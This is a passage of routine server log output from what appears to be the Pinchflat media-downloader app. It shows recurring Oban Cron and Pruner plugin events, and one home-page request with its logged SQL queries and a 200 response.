{"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:01.803 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:31.805 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.827 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:01.807 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:31.809 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.828 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:01.811 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:31.813 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.829 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:01.815 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:31.817 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.830 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:01.819 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:31.821 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.831 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:01.823 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:31.825 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.832 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:01.827 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:31.829 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.833 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:01.831 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:31.833 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.834 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:01.835 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:31.837 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.835 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:01.839 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:31.841 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.836 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:01.843 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:31.845 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.837 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:01.847 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:31.849 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.838 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:01.851 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:31.853 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.839 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:01.855 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:31.857 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.840 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:01.859 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:31.861 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.841 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:01.863 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:31.865 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.842 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:01.867 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:31.869 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.843 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:01.871 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:31.873 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.844 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:01.875 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:31.877 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.845 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:01.879 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:31.881 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.846 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:01.883 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:31.885 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.847 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:01.887 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:31.889 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.848 [info] {"source":"oban","duration":468,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:01.891 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:31.893 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.849 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:01.895 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:31.897 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.850 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:01.899 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:31.901 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.851 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:01.903 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:31.905 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.852 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:01.907 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:31.909 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.853 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:01.911 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:31.913 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.854 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:01.915 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:31.917 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.855 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:01.919 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:31.921 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.856 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:01.923 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:31.925 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.857 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:01.927 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:31.929 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.858 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:01.931 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:31.933 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.859 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:01.935 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:31.938 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.860 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:01.940 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:31.942 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.861 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:01.944 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:31.946 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.862 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:01.948 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:31.950 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.863 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:01.952 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:31.954 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.864 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:01.956 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:31.958 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.865 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:01.960 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:31.962 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.866 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:01.964 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:31.966 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.867 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:01.968 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:31.970 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:51.219 [info] GET / 04:17:51.219 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:17:51.220 [debug] QUERY OK source="settings" db=0.4ms idle=1540.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:17:51.221 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1541.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:17:51.222 [debug] QUERY OK source="sources" db=0.2ms idle=1542.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:17:51.223 [debug] QUERY OK source="media_items" db=0.9ms idle=1542.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:17:51.223 [debug] QUERY OK source="media_items" db=0.3ms idle=842.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:17:51.224 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:17:51.225 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:17:51.226 [debug] QUERY OK source="settings" db=0.2ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:17:51.229 [debug] QUERY OK source="tasks" db=0.4ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:17:51.230 [debug] QUERY OK source="media_items" db=0.4ms idle=6.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:17:51.231 [debug] QUERY OK source="media_items" db=0.8ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:17:51.232 [debug] QUERY OK source="sources" db=0.4ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 04:17:51.238 [debug] QUERY OK source="media_items" db=1.6ms idle=10.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:17:51.240 [debug] QUERY OK source="media_items" db=1.4ms idle=9.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:17:51.241 [debug] QUERY OK source="sources" db=0.4ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:17:51.245 [info] Sent 200 in 26ms 04:18:00.868 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:01.972 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:31.974 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.869 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:01.976 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:31.978 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.870 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:01.980 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:31.982 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.871 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:01.984 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:31.986 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.872 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:01.988 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:31.990 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.873 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:01.992 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:31.995 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.874 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:01.997 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:31.999 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.875 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:02.001 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:32.003 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.876 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:02.005 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:32.007 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.877 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:02.009 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:32.011 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.878 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:02.013 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:32.015 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.879 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:02.017 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:32.019 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.880 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:02.021 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:32.023 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.881 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:02.025 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:32.027 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.882 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:02.029 [info] 